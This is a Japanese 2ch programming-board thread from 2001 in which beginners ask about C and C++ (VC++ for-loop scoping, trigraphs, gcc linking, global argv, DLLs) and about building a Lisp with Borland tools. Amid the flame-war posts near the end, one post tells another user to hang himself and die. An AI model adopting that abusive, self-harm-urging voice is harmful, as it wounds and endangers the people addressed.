デフォルトの名無しさん :01/10/07 01:24
>>705 そうです。
>>707 一応VC使ってますが・・・。拡張子もcppになってます。
というのはですねぇ。例題で
#include <iostream>
int main()
{
int n = 8;
int* data = new int[n];
for (int i = 0; i < n; ++i) data[i] = n - i;
for (int i = 0; i < n; ++i) std::cout << data[i] << std::endl;
delete [] data;
return 0;
};
ってのがあるんですけど、VCではコンパイルできないようなんですよ。トホホ
この例題載ってる本の題名は?
>>706 原始的なLispなら数百行位だね?
SchemeとかXLispとかソース読んでみなよ。
どうみてもC++のコードだな。
712 :
デフォルトの名無しさん :01/10/07 01:31
>>708 VCが悪い。規格上はOKだが、VCではforのかっこの中で宣言した変数は
外で宣言したのと同じ意味になる。つーことで2回目のintは不要。
それと、最後のセミコロンはいらん。
かつてusing namespace使わずにビルドが通った時代があったのか?もしかして
>>708 そりゃC++だ
VC++6は仕様が古いのでfor文の全体を{}で括れば回避可能
VC++7からは大丈夫(オプションだけど)
C++ゆえsage
>>708 いまのC++でforの( )中で宣言した変数はforのスコープの外には出ない。
VC++はその仕様が決まる前のコンパイラなので、( )の中で宣言した変数は
forスコープの後も生きている。
>>714 std::
ってついてるじゃん、しっかり。
718 :
デフォルトの名無しさん :01/10/07 01:37
>>713 VCの問題でしたか。ありがとうございます。
最後のセミコロンはこの例題だけついてました。
他の例題にはありませんでした。(念のため)
しまった。C++だったんだ。 スレ違いごめんなさい
>>713 >>715 VC++6もオプションで可能。
ただし、windows.hがインクルードできなくなる弊害があったはず
721 :
デフォルトの名無しさん :01/10/07 02:01
>>708 それはわりと有名なVC++のバグ
回避法として,次のようなdefineをしておくと良いようです
#define for if(0);else
722 :
デフォルトの名無しさん :01/10/07 02:02
逆参照ってなにが「逆」なんですか?
>>721 バグじゃないって。仕様が古いだけ。
ANSIの規格がころころ変わったせいでこういうことになってる
あれれ? いつのまにそんなにレスが・・・ もう徹底的にアホ丸出しかもわからんね
>>723 うげげげ,まじっすか
自分,究極のアホ丸出しやね・・・
726 :
デフォルトの名無しさん :01/10/07 04:42
>>706 consセルとgcの部分。gcは実験目的とかでない限り必須。
あとは(ユニークな)シンボルを実装すれば見かけはLISPっぽくなる。
consセルというのは、carとcdrの対を持つ2分木の枝。
最初はリストのライブラリを作る様なノリでやれば、
破綻はしないと思う。(ここでリスト操作に慣れておく。)
その後、環境(シンボル:carと値:cdrの対の集合)と
read(入力→S式)とeval(S式→評価)と
lambda(コードと環境を持つクロージャ)、
いくつかの制御構造とオペレータ・・・
結構大変かも。1000行程度で終るとは思うけど。
>>710 >>726 どうもありがとうございます。
やっぱり似非理系学生には自力じゃ無理ですかね。
難し過ぎ…。
このスレで聴いて良いのか解らないですが 目に止まったので書き込ませてください。 超初心者なのですがCにチャレンジしようかと思っています。 しかし何から取り付いて良いのか全く解りません。(T_T) 一応産業機器にプログラマなのでニモニックやラダー、製品に特化された言語等には 慣れて居るんですけど こっちは畑違いすぎで全く要領を得られないのでアドバイス頂けないでしょうか? VCとかで簡単なWIN用アプリとか作ってみたいです。
Cを使う用途は? その仕事の延長で使うのなら特にVCは必要ないと思うが 単にWinのプログラム作るならVC必要ない、Delphiとかの方が楽
730 :
デフォルトの名無しさん :01/10/08 09:53
Ms_cでグラフィックスの処理をしたいのですが なにをインクルードしてよいかわかりません。 ご指導お願いします。
>>729 おれはCで核。きみはDelphiを遣え!
732 :
デフォルトの名無しさん :01/10/08 11:49
>728 WindowsでCを勉強するなら お金をかけない→MS-DOS+フリーのコンパイラを使う お金をかける→統合開発環境を買う というのが一般的ですかね。 窓が出るようなアプリを作るなら"API"とか"MFC"という言葉で検索してください。
733 :
デフォルトの名無しさん :01/10/09 09:03
>>728 周囲に教えてくれる人がいないなら、VCの入門書を探すのが近道ですね。
私はそうしました。
>728 俺は組込み関係で アセンブラにCも使うけど Winでプリンタポートで信号出したり 232Cで テストしたりのコードは Delphiで書いているよ。 産業用 ATコンパチの組込みソフトなんかも Delphi1(win3.1で動く16bit版ね)で 効率良く書けるしね 単にCの勉強兼ねてということになると VC++ と 組込みCより Delphiと組込みCの方がとっつきいいかも あ、でも、組込みCのソースの事前デバックの為に持ってる必要はあるかもね
736 :
デフォルトの名無しさん :01/10/09 14:01
>>727 Lispのインタプリタはスペックを求めない限り君の実力内にあると思うよ。
そういうこと思いつく奴はできると思う。
そりゃCommon LISP準拠の処理系作れとか言ったら俺も首くくるけど。
Lispより簡単なインタプリタっていったら後はForth位しかない。
# ForthはForthで奥が深いけどね...
CommonLispも苦しいけど、Schemeも苦しくない? 末尾再帰の認識とか、初めてインタプリタを作る人には 荷が重いし
>>737 そうですね。
Schemeは相当にコンパクトな仕様に思えるのですが、やはり本物だけのことはある。
だから最初は俺Lispでいいと思うんですよ。
739 :
デフォルトの名無しさん :01/10/10 00:46
↑スレ違いなので別のスレは移動して続きをお願いします。
740 :
デフォルトの名無しさん :01/10/10 00:50
とにかくDelphi以外は糞なんだよ
741 :
デフォルトの名無しさん :01/10/10 00:52
>>740 あなたはDelphi以外はあまり使わないようですね。
スレ違いです。逝け
Delphiの記述言語のスレですが何か気に障ることでも?
LSIのコンパイラ使ってる方いらっしゃいませんか? 秀丸のマクロで「コンパイル&実行」ってできないもんでしょうか? いちいちファイルを移動させるのって結構面倒ですよね? マクロってものがどんなものかよく分かってませんが・・・ どうか、ひとつ、よろしくお願いします。
かなりすれ違い
746 :
デフォルトの名無しさん :01/10/10 14:26
GCCでリンカの使い方が解りません。 GCCのリンカというよりリンカ、リンクそのものが解ってないです。 そこでお願いがあります。 hello.oというオブジェクト writehello() { puts("Hello\n"); } という関数が定義してある。 を main.c から使う実例(ソース、リンカの使い方)を見せてください。お願いします。
$ cat >main.c void writehello(void); main() { writehello(); } $ gcc main.c hello.o $ ./a.out Hello $
>>747 writehello() の返り値を int にしないあたりが偽善ですか?
749 :
デフォルトの名無しさん :01/10/10 14:38
>>747 レスありがとうございます。
しかしhello.cというオブジェクトの作り方も解らないのです。
説明不足ですいません。
750 :
デフォルトの名無しさん :01/10/10 14:39
>>746 どういうことでしょうか?非常に気になります。
よろしければご教授ください。
>>749 > しかしhello.cというオブジェクトの作り方も解らないのです。
$gcc -c hallo.c
gcc できればmakeとかも調べてみるとよい。
>>749 $ man gcc
$ gcc -c hello.c
$ ls
>>748 $ # ううん、ただの勘違いでした テヘ
レスありがとうございました。精進します。
755 :
デフォルトの名無しさん :01/10/10 14:49
>>754 >誰だ貴様!名を名乗れ
どうもありがとうございます。
757 :
デフォルトの名無しさん :01/10/10 15:00
なんじゃこの流れは 不覚にもワラタ
758 :
デフォルトの名無しさん :01/10/10 16:51
ELF と a.outの違いを50文字以内で俺様にわかり易く説明しろ
アドレスがあったりなかったり 14文字
おまえら最高だよ。ワラタよ。
>>762 これは100点満点だろ。
765 :
デフォルトの名無しさん :01/10/11 00:16
CでWINDOWS用のアプリケーション作りたいのですが、そのために必要なものは何がありますか? 人に聞いても「マイクロソフトのC++使え」 検索してもサンプルソースがhitするくらいで(参考にはなりますがいろんな手法を知りたい) どうにも消化不良です。 なにか参考になる書籍でもいいので教えてもらえませんか。
ISBN:4-7561-3600-1 ISBN:4-7561-3601-X
767 :
デフォルトの名無しさん :01/10/11 00:28
Cygwinを使うといいよ。 GUI部分は、TCL/TKで簡単に実装できるし、 なにより、DOSプロンプトより使いやすい ターミナルエミュレータがあるから。
768 :
デフォルトの名無しさん :01/10/11 00:28
それ探してもどこにもないのが悲しいなあ
ja localeの貧弱さが初心者向きじゃないと思われ。 でも手放せない。
えー、県外まで行って本探しましたよ。でも℃田舎の悲しい宿命、ブツがerr404なんです。
でも色々調べてみます
>>766 >>767 さんありがとうございました。
だれか「猫でも・・」教えてあげれば?
>>767 >なにより、DOSプロンプトより使いやすい
>ターミナルエミュレータがあるから。
それってどれですか?教えてください。
うちのはDOS窓でしか動きません・・・
>>772 ktermなりrxvtなりEtermなりをコンパイルすればいいじゃん。
774 :
デフォルトの名無しさん :01/10/11 17:55
/*次のコードが通る理由を説明せよ*/ #include <stdio.h> void main(){
775 :
失敗した。スマソ :01/10/11 17:56
/*次のコードが通る理由を説明せよ*/ #include <stdio.h> void main(){ int n[3]; n??(0??)=123; printf ("n=%d\n",n[0]); }
}
ちぇ
778 :
774,775 :01/10/11 17:58
>>777 777取ったんだからいいぢゃん。おめでと。
779 :
デフォルトの名無しさん :01/10/11 17:59
>>775 おぉ〜。オレ昔のIBM汎用機で本当にそうやって
コーディングしたんだよぉ。懐かしすぎ。
ANSI trigraph feature
781 :
デフォルトの名無しさん :01/10/11 18:06
>>775 VC++は通りました。
BCBは通りません。
GCCも通りません。
(なんかオプションいるのかなぁ?)
gcc のばやいは -trigraphs をつければ通るんじゃないかな?
783 :
デフォルトの名無しさん :01/10/11 18:12
>>782 おぉ、通ったよ。さんきゅ。
これってなんで?
>779 によると、ひょっとして、昔のキーボードって[が
無かったの? {も無かったとか?
>>775 すごい。どういうことか理解できん・・・・
??( > [
??) > ]
だよねぇ?
#include <stdio.h>
void main(){
int n??(3??);
n??(0??)=123;
printf ("n=%d\n",n??(0??));
}
コレで通ったし・・・
>>773 Cygwin だと kterm, Eterm って X サーバ無しでも動くんですか?
google で検索かけて、rxvt が X なしで動いてかつ日本語化パッチもあることは分かった
けど、もはや日本語パッチが obsolete っぽい。
787 :
デフォルトの名無しさん :01/10/12 09:51
>>785 いや、だから、なんでトライグラフっていうものが
必要だったのか?ってこと。
[っていうコードが昔は無かったとか?
>>787 不変文字セット(invariant character set)にないから
790 :
デフォルトの名無しさん :01/10/12 10:37
??= # ??( [ ??) ] ??/ \ ??' ^ ??< { ??> } ??! | ??- ~
791 :
デフォルトの名無しさん :01/10/12 11:09
win環境でdllをC言語から使う方法を教えてください。 コンパイラはできればgccでお願いします。
792 :
デフォルトの名無しさん :01/10/12 11:21
LoadLibraryExで DLL を読みこんで、 GetProcAddress で関数へのアドレスを得る。 必要無くなったら、FreeLibrary を呼べ。 コンパイルの仕方は gcc --help -v |more でもしとけ。 関数ポインタの型は typedef しておくと便利。
レスどうもでした。
794 :
デフォルトの名無しさん :01/10/12 17:45
argv, argcをmainの引数ではなく グローバルに参照できませんか?
int g_argc; char* g_argv[]; int main(int argc, char* argv[]) { g_argc = argc; g_argv = argv; :
グローバルなポインタ使え。 static int *pargc; char ***pargv; int main(int argc, char **argv) { pargc = &argc; pargv = &argv; }
797 :
デフォルトの名無しさん :01/10/12 21:30
perl言語でhere,there構文がありましたよね?(HTMLタグがそのまま書けるやつ) C言語には、そのような機能はないのでしょうか?
798 :
デフォルトの名無しさん :01/10/12 21:48
今専門学校で情報処理学科に通ってるんですが 全く意味がわかりません。完全に道を踏み間違えてしまいました。 どうにか将来は音楽関係の仕事に携わりたいのですが 今更音楽学科に変えるお金もありません。 板違いだと思いますが、何かいい方法ないでしょうか??
>>798 今すぐ学校をやめて、音楽学科に入り直すだけの金を稼ぐ。
>>797 > perl言語でhere,there構文がありましたよね?(HTMLタグがそのまま書けるやつ)
なんだhere,thereって。here doc?
> C言語には、そのような機能はないのでしょうか?
なんだかよく分からんが、ともかくない。
>798 そう思うのなら決断は早く その時期の1年2年くらいなら取り返せるし
802 :
デフォルトの名無しさん :01/10/12 22:23
そうだね、若いなら早めに行動に移したほうがいいよ 適正が無い奴、プログラムが嫌いな奴は絶対に止めておいた方がえぇ
やっぱそうですか・・・。 情報処理学科を出て就職するとなれば 大半の人がプログラムを組む職に就くんですか? 情報系の学校を出て全然違う職種に就いた方いますか?
804 :
デフォルトの名無しさん :01/10/12 22:46
>>803 あのさあ、情報系の優秀な奴はプログラマーなんぞにはならんのだよ
あ、お前は糞専門だったか わりーわりー
805 :
デフォルトの名無しさん :01/10/12 22:46
806 :
デフォルトの名無しさん :01/10/12 22:49
>>804 あのさあ、プログラマーの領域狭く考えすぎてない?
あ、お前は・・・・・・わりーわりー
807 :
デフォルトの名無しさん :01/10/12 22:51
>>806 じゃあお前は何をやってるの?
糞アプリ作っとるだけのくせに偉そうなこと言うな
身分をわきまえろ
808 :
デフォルトの名無しさん :01/10/12 22:53
まぁ情報処理系に進んだ時点でエリート路線から外れてるけどな
809 :
デフォルトの名無しさん :01/10/12 23:00
そして796はatexitで登録した終了関数内で グローバル変数を使おうとして逝った...と
810 :
デフォルトの名無しさん :01/10/12 23:01
>>806 ネタでもいいからはようこたえろや
お前さんはどんなことをやってるのですかああああ????
これだから雑魚は困る
>>796 Cでは参照が使えないから…
ていうか
>>795 じゃまじぃど。
なぜまじぃのかは自分で考えれ。
812 :
デフォルトの名無しさん :01/10/12 23:26
perl言語でヒアドキュメントってありましたよね?(HTMLタグがそのまま書けるやつ) C言語には、そのような機能はないのでしょうか?
813 :
デフォルトの名無しさん :01/10/12 23:29
806は人生の敗北者 だから2chでも言いっぱなし 根性ナシ 真向から議論して勝つ自信はないのかよ 俺をへこましてみろや
Rubyのコミュニティって閉鎖的な雰囲気がありますけど(他の言語を排撃するとか)なんでですか? その自信はどこからくるんですか? 教えてください。
815 :
デフォルトの名無しさん :01/10/12 23:32
お前ら雑魚からすれば強気な意見書いてくる奴はみんな煽りな ちょっときついこと言ってくる奴は煽りな で、無視な お前ら弱すぎ
816 :
デフォルトの名無しさん :01/10/12 23:33
>>814 あのな、ここはCの部屋だろ
お前スレ違い
くやしかったらまともなレス返してみろ
それとも怖いから無視か?
>>816 あのな、ここはプログラミングの板だろ
お前板違い
くやしかったらまともなレス返してみろ
それとも怖いから無視か?
鸚鵡返しカコワルイ
819 :
デフォルトの名無しさん :01/10/12 23:36
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜 こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜 こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜 こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜 こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜 こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜 こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜 こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜 こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜 こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜 こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜 こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜 こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
820 :
デフォルトの名無しさん :01/10/12 23:59
どっちにしても、 すぐ汚い言葉で煽り合うようなやつはプログラムも書けない厨房(ただ板に来て覗いてるだけ) なのは間違いない。
822 :
デフォルトの名無しさん :01/10/13 00:03
正直俺は掲示板にプログラムべたべた張り付けるのはどうかと思う なんか同人コミュニティみたいな感じがして気持悪い 「僕のプログラム見て見てー」みたいな プロがそんなことしてるかと思うと腹だたしいね お前のプログラムはそんな安っぽいもんなのかと はぁ、また寒い反論しか返ってこないんだろうなあ
823 :
デフォルトの名無しさん :01/10/13 00:04
マジレスしてくる奴いないのかなあ
824 :
デフォルトの名無しさん :01/10/13 00:09
一応言っておきますが 「ネタにもならないアホは放置」が基本となっていますのでお気をつけください
>なんか同人コミュニティみたいな感じがして気持悪い いまいち感じがつかめない。 その貼り付けられたプログラムの質がどんなであれ、 皆が褒めそやすという構図になっているならまだしも。
>824 敏感に反応しちゃってるあなたはどうしましょう?
main() { puts("\ こんな風に書きたいのか? とりあえずgccじゃ通るけど、警告とか出す処理系もありそう。 "); return 800; }
正直俺は掲示板に日本語べたべた張り付けるのはどうかと思う なんか同人コミュニティみたいな感じがして気持悪い 「僕の日本語見て見てー」みたいな プロがそんなことしてるかと思うと腹だたしいね お前の日本語はそんな安っぽいもんなのかと はぁ、また寒い反論しか返ってこないんだろうなあ
ある言語の便利な機能を 別の言語に無理やり持っていっても良いことはない。 Cでヒアドキュメントはできまっせん。
830 :
デフォルトの名無しさん :01/10/13 00:19
>>825 お絵書き掲示板みたいな感じ
俺はあれ大嫌い
吐き気がする
831 :
デフォルトの名無しさん :01/10/13 00:23
ってーかそれくらい流せよ
832 :
デフォルトの名無しさん :01/10/13 00:25
ある言語の便利な機能を rubyに無理やり持っていっても良いことはない。 rubyでは何もできまっせん。
>>830 は自分が絵を描けないことに相当なコンプレックスがあるらしい、と。
>>830 いや...だから、この板では
>貼り付けられたプログラムの質がどんなであれ皆が褒めそやすという構図
にはなってないよね?
835 :
デフォルトの名無しさん :01/10/13 00:30
>>834 だいたいそんな感じだろ
それとも情報交換のつもりか?
だったら本読もうや
ソース読もうや
あなたが真のプログラマーならね
>>835 彼はソース読めないから疎外感を感じていると思われ
837 :
デフォルトの名無しさん :01/10/13 00:37
>>835 具体的にそういった雰囲気のレスを挙げてみ。
それとも単なる僻み?(大爆笑)
ここの板人なかなか煽り耐性がつかないね。
正直俺はオープンソースはどうかと思う なんか同人コミュニティみたいな感じがして気持悪い 「僕のプログラム見て見てー」みたいな プロがそんなことしてるかと思うと腹だたしいね お前のプログラムはそんな安っぽいもんなのかと はぁ、また寒い反論しか返ってこないんだろうなあ
840 :
デフォルトの名無しさん :01/10/13 00:46
↑オープンソースはいいと思うけどね ぢゃ、寝るわ お前ら一晩かけておもしろい文句考えといてな とりあえず朝はチェックするからそのまま議論続けてな 泣かない程度に頑張ってみてくれや
/ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\
.∧_∧ |
>>840 Ruby厨な人さぁ こんなレスばっかりしてるから |
( ´∀`)< 厨房って言われちゃうんだよ |
( ∧∧ つ >―――――――――――――――――――――‐<
( ゚Д゚) < おまえのことを必要としてる奴なんて Ruby使いにすら |
/つつ | いないんだから さっさと回線切って首吊って氏ね |
\______________________
gdbデバッガを使い始めました
>>811 正直、すいませんでした。
いちいち試しちゃいなかったので。
×:char* g_argv[];
○:char** g_argv;
これなら良い?
教えてよ。 厨房だからわかんないよ。 int g_argc; char** argv; int main(int argc, char* argv[]) { g_argc = argc; g_argv = argv; argc = 1; /* etc. */ assert(g_argc == argc); /* !!! */ : みたいなことが言いたいの?
アホが二人いる。
誰か突っ込んでやれよ。
848 :
デフォルトの名無しさん :01/10/13 14:17
MS_DOSの画面でグラフィック扱うにはどうしたらいいの?
849 :
デフォルトの名無しさん :01/10/13 15:43
最適化抑制って、 ken -> gcc -O0 mona.c でいいの? (マイナスオーゼロ) ken -> gcc -v Reading specs from /usr/local/gnu/lib/gcc-lib/sparc-sun-solaris2.6/2.95.2/specs gcc version 2.95.2 19991024 (release)
850 :
デフォルトの名無しさん :01/10/13 23:20
851 :
デフォルトの名無しさん :01/10/14 13:26
前から気になっていた事だけど、 C言語のプロトタイプ宣言ってみんなどうやって書いてる? 手動か、それともなにかツールを使って自動出力させてる?
cproto
853 :
デフォルトの名無しさん :01/10/14 13:51
>>851 手で書いてる。
というか、最初にヘッダにプロトタイプ宣言を書いて、
スタブをちゃちゃっと書き上げてから
本格的なコーディングに入る。
Cだと、昔はμEmacsのマクロで作ってたなぁ。 今は、関数実体を書いた後にコピペ & extern追加をしてる。
>>852 cprotoの場合実際どのように使ってます?
俺が想像するには、cproto -ve main.c > main.hed
とかやって main.h の中で #include "main.hed" とやる。
もしくは cproto -ve *.c > protoall.hed などと全て一つにまとめて
一ヶ所で #include "protoall.hed"
>>853 最初から仕様が明確で関数が少ない場合はそれでも
いいかもしれないけど、そういうケースは少ない気がする。
んで、似た処理を一つにまとめたいとかとっさに思ったときに、
プロトタイプ書くのがめんどくさくなって、
結局一つの関数が巨大化していったりはしないですか?
>>855 その程度の手間は厭わず。すぐに慣れれるって。
プロトタイプ宣言を書くのも、
引数は評価する前に assert するコードを入れるのも、
関数を書く前に、まずテスト用のコード書くのも、
コードに手を入れたときに、変更点をデバッガでステップ実行するのも、
習慣化すれば、どうってことない。
857 :
デフォルトの名無しさん :01/10/14 15:22
昨日から、悩んでいる問題があります。 問題)テキストファイルを読み込み'A'〜'Z'と'a'〜'z'の文字数を それぞれカウントする。 例) test.datファイルの内容 ASDadz AAZz 結果としては Aが3回 Dが1回 Sが1回 Zが1回 aが1回 dが1回 zが2回
>>854 なるほど。コピペ+変数にextern追加ってのは同じ事の繰り返し作業だから
みんなどうにかして自動化してやって欲しい。。。
(と、個人的に思うんだが)
>>856 >引数は評価する前に assert するコードを入れるのも、
>関数を書く前に、まずテスト用のコード書くのも、
には、かなり同意だけど、やっぱりプロトタイプ宣言書くのだけは
時間の無駄にしか思えないな。
Javaだとプロトタイプ宣言する必要が無いから短時間でどんどん
プログラムを変更していけて効率的なんだけどな。
数字を全角で表示するのはばかばかしいので半角表示 static int code[256]; int c; FILE *fp; fp = fopen("test.dat", "r"); while ((c = fgetc(fp)) != EOF) if (isalpha(c) code[c]++; for (i = 0; i < 256; i++) if (isalpha(i) && code[i] > 0) printf("%cが%d回\n", i, code[i]); fclose(fp);
>>859 i は int なんだろうが、
それなら printf に渡すときにキャストしなきゃいけない気が。
861 :
デフォルトの名無しさん :01/10/14 15:49
859さんへ コンパイルして実行したら、 うまくいきました。 ありがとう 857より
int i; 抜けてるね。 キャストはいらん。 もしキャストがいると信じてるなら悔い改めなさい。
>>862 ああ、うん。
書き込んだ直後に、自信なくって試してみたら
キャストしなくても大丈夫だたよ…。
>>863 動作から納得するんじゃなくて、ちゃんと規格を調べて理解した方がいいと思うが。
K&R 本が手元にあるなら、索引で「格上げ」を調べてみましょう。
>>864 初版には「格上げ」載ってねぇよ…。
つか、printf は可変個引数なんで、「格上げ」(型変換)なんてやってくれんのか?
char を受け取ると明示されてる関数なら、int を渡せば int->char の変換を
やってくれるだろうが、printf だと無理な気がするのだが…。
でもちゃんと動作したんだよなぁ…。
スタックにプッシュときのサイズが int と char で変わらないからかのう?
調べてきます…。
整数型はintに収まるのはintで、 それ以上のはそれなりにスタックにつまれるってかいてあるだ炉。 蛇足だが、実数型は黙ってdoubleで積むとも書いてあるだろ。 まず、嫁。
つか、やっぱ本来ならキャストすべきとこっぽいな。 動くのは、たまたま int と char を同じサイズでプッシュしてるってだけ。
K&Rのどこをどう読んだらそうなるんだ?おい
>>865 確認してみたら、格上げじゃなくて A7.3.2 関数呼び出しのところに書いてあったわ。
ところで「初版」というのは ANSI C ではなく K&R C 対応のヤツ? 引数の格上げ
規則は ANSI C と K&R C (もしくは ANSI C でプロトタイプ宣言無しの場合) で微
妙に違うから、第2版を参照した方が良いぞ。
>>869 おいおい……。
printf() の可変長引数の部分で i を渡してるんでしょ? そこで (char)i と書いて
も格上げ規則によって (char)i が int に変換された後に引数として渡されるから、
まったく意味がないって。
> 動くのは、たまたま int と char を同じサイズでプッシュしてるってだけ。
たまたま、ではなく ANSI C 対応のコンパイラなら「常に」問題ない。スタックにプッ
シュされるかどうかは処理系依存だが(レジスタで渡しても良いし)。
>>871 スマン。わかった。俺が間違っていた。アホ。
> 整数型はintに収まるのはintで、
> それ以上のはそれなりにスタックにつまれるってかいてあるだ炉。
ってことね。スマン。ホントスマン。パッとわからんかった。
アホ過ぎですな。逝ってきます。豆腐の角に頭ぶつけて逝ってきます。
来世で会ったときも迷惑かけるかもしれませんが、その時はよろしく。
逝ってきます。アホ。逝ってきます。
1, 2, 3, 4, 5 6, 7, 8, 9, 10 って内容のデータファイルをfscanf関数で読みこもうとすると 最初の"1"だけを読みこんで終わってしまします。 2行目の最後まで、コンマと空白も含めてそっくりそのまま 読みこみたいんです。 どうしたらいいかわかりません教えてください
いやー、久々に顔から火を噴きましたわ。 火柱が30mぐらいに達しましたわ。 匿名でよかったですわ。 それでは改めて逝ってきます。
863おもろい。 またこいよ
scanf("%d, ", &data)
876さん、直接入力するのでなく、外部のデータファイルから 読みこみたいんです、お願いします
fscanf
あ、わかりました。スレ汚してすいませんでした
>>879 予想通りのボケが入ったな(w でも 873 で既出なので 1 点減点。
あのう、 dos上動くプログラムででx、y、座標を指定して文字を出力 したいのですが何をつかったらいいでしょうか?
エスケープシーケンスで検索すれ
DOSのエスケープシーケンスは猫のページに載ってるよ。
887 :
ビル・ジョブス :01/10/15 06:46
懐かしいな〜
教えて下さい。 この間拾ったBorland C++でFranz Lisp-386をコンパイル出来なくて 困ってます。make.exeがFATAL errorを吐き出すんですが。 makefileが#ifdef #endifだらけで迷路のようです。 乞アドバイス
MAKE がエラーを出すんだから、makefile が間違っているんですよ。
891 :
C厨房@BASICER :01/10/15 17:24
オリジナルmakefileが間違ってるんですか?@なんかくやしい
>>891 間違ってるっつーか、#ifdefだらけなんてことはcpp通すかなんかしなきゃい
かんのじゃないの。
893 :
デフォルトの名無しさん :01/10/15 18:55
cpp.exeを検索しちゃいました。 Cプリプロセッサ−?→cpp
CPP は C++ でしょ?
あれ? cpp32.exe は BCC4.5 には入っていないのかな? BCBには入ってるけど・・・・ #ifdef とかのプリプロセッサ処理だけするのが CPP.exe ね
>>893 そう。
>>894 Microsoft界隈ではそういういいかたもするようだが、ここでいってるのは伝
統的なcppであるところのC preprocessor。
897 :
Franz Lisper :01/10/15 22:15
898 :
Franz Lisper :01/10/15 22:20
>c:\borland\bcc55\bin\cpp32 makefileって感じ? どうやって使うの?
899 :
Franz Lisper :01/10/15 22:44
DOS窓でerror messegeが文字化け! [ E2194 (.v.);鹿〜'lisp.cpp' etc
パス通すか、make.exeかな?それのあるところ にいってmakeってやると勝手にmakefileを自動 判別するYO。自前のmakefileつかいたいときは mymake(.hogehoge)とかをつくって、(拡張子は つけてもどっちでもいい。)とにかくmake mymake ってやるんだYOつまりmake は make makefileやってると 同じことなんだYO
当然カレントディレクトリにmakefileがないと makeってやってもだめだYO
902 :
デフォルトの名無しさん :01/10/15 22:48
ポアソンの方程式がわかりません。。教えてください
make -f mymake だろ。ふつー。
905 :
Franz Lisper :01/10/15 22:53
>>900 makefileもソースファイルも全部c:\borland\bcc55\bin
に ぶっこんである。
>>898 > >c:\borland\bcc55\bin\cpp32 makefileって感じ?
cpp通した出力をmakefileとしてmakeに食わす。のかも知れん。
とりあえずドキュメントちゃんと読め。
は?bcc55/includeとか、bcc55/うんたら が、ないの? ・・・もういっか落としなおせよ・・・・
908 :
Franz :01/10/15 22:59
C:\borland\bcc55\bin>make MAKE version 5.2 Copyright (c) 1987, 2000 Borland fatal: 'FRC' does not exist - don't know to make it C:\borland\bcc55\bin> も〜嫌!
めんどうだから make止めて
BCC32 *.C* ってやってみろよ
>>908
910 :
Franz :01/10/15 23:08
19 errors in Compile とにかくエラーメッセージが文字化け
ただ単にGNU make用のmakefileなんじゃないの?
913 :
Franz :01/10/15 23:11
ソース間違ってんじゃん
914 :
Franz :01/10/15 23:16
>911 それってUNIXからWindowsに移植を意味する? 386−Makefileと言うのがあるのだが・・
なんかそもそもBSD用のコードっぽい氏.. GNUmakeは、単体で手に入ったかな? なかったらcygwinを使え
だから! そんな状態でmakeは無理 必要そうなdefineはソースに直接書き込んで 必要そうなソースだけディレクトリにぶちこんで BCC32 *.C でやってみろよ まともなソースでmainがあれば実行ファイル作れるだろ どっちにしてもエラー先に潰さんとダメだしな
917 :
Franz :01/10/15 23:32
cygwin使った方が早いんでは? ちゃんとバイナリが生成されたら、Borlandので試してみるとか。
919 :
Franz :01/10/16 05:58
cygwin? 落ちてるとこ教えて。
920 :
Franz :01/10/16 06:04
921 :
Franz :01/10/16 06:14
Yahooでcygwin検索してたら こんなに見るのに手間かかる サイト見つけた。付き合ってられん 検索機能くらい付けろ!
922 :
Franz :01/10/16 06:17
923 :
Franz :01/10/16 06:25
無い*_*; とりあえず現段階ではBorlandの方が早い っつーかBorlandにはTurbo C 2.0で、お世話になっているから こだわりがある。
924 :
Franz@ほとんど荒らし :01/10/16 06:43
925 :
Franz@勉強中 :01/10/16 06:54
日記はよそでやれよ。 くだらんことでいちいちageんじゃねーよ。
がら悪!!
setupでproxyのアドレス放り込む窓があるがネット上で
compileするっつー事かな?
proxyに付いてはアメ公が、寝ている日本時間昼に使っている。
アメ公が起きている日本時間深夜に串抜いている。
っつーか串が死んだら面倒だし..
なんかいきなりcompile成功の予感。
>>918 Thanx!
sygwinのsetupが良く分かりません。 設定項目が多すぎます。 これってネット上でInstallするって言う事なんでしょうか?
929 :
Franz :01/10/16 08:01
BSDになったぞ!^o^/
931 :
デフォルトの名無しさん :01/10/16 13:14
>>926 どこがくだらないんだ!
糞スレ立てて人が来ないのか?
ちょっとしたイベントでいちいちageで書き込むな。 自分でも「ほとんど荒らし」と書いてるだろうが。 だったら書き込み止めるかまとめりゃいいんだよ。
933 :
デフォルトの名無しさん :01/10/16 14:01
CUIを、ちょっとしたイベントと片付けるのは どうかと・・・
電波警報
You never receive radio and i-mode. LOL
936 :
デフォルトの名無しさん :01/10/17 00:32
C言語で丸とか四角や図形は描けますか?
>>936 グラフィックのライブラリを使えば書けます。
どんなライブラリがあるかはOSや処理系によります。
>>936 printf("○□\n");
でも機種依存だから気をつけてね。
>>938 もうちょいましに書こうぜ。
printf("丸\n");
printf("四角\n");
printf("図形\n");
940 :
名無しさん :01/10/17 09:21
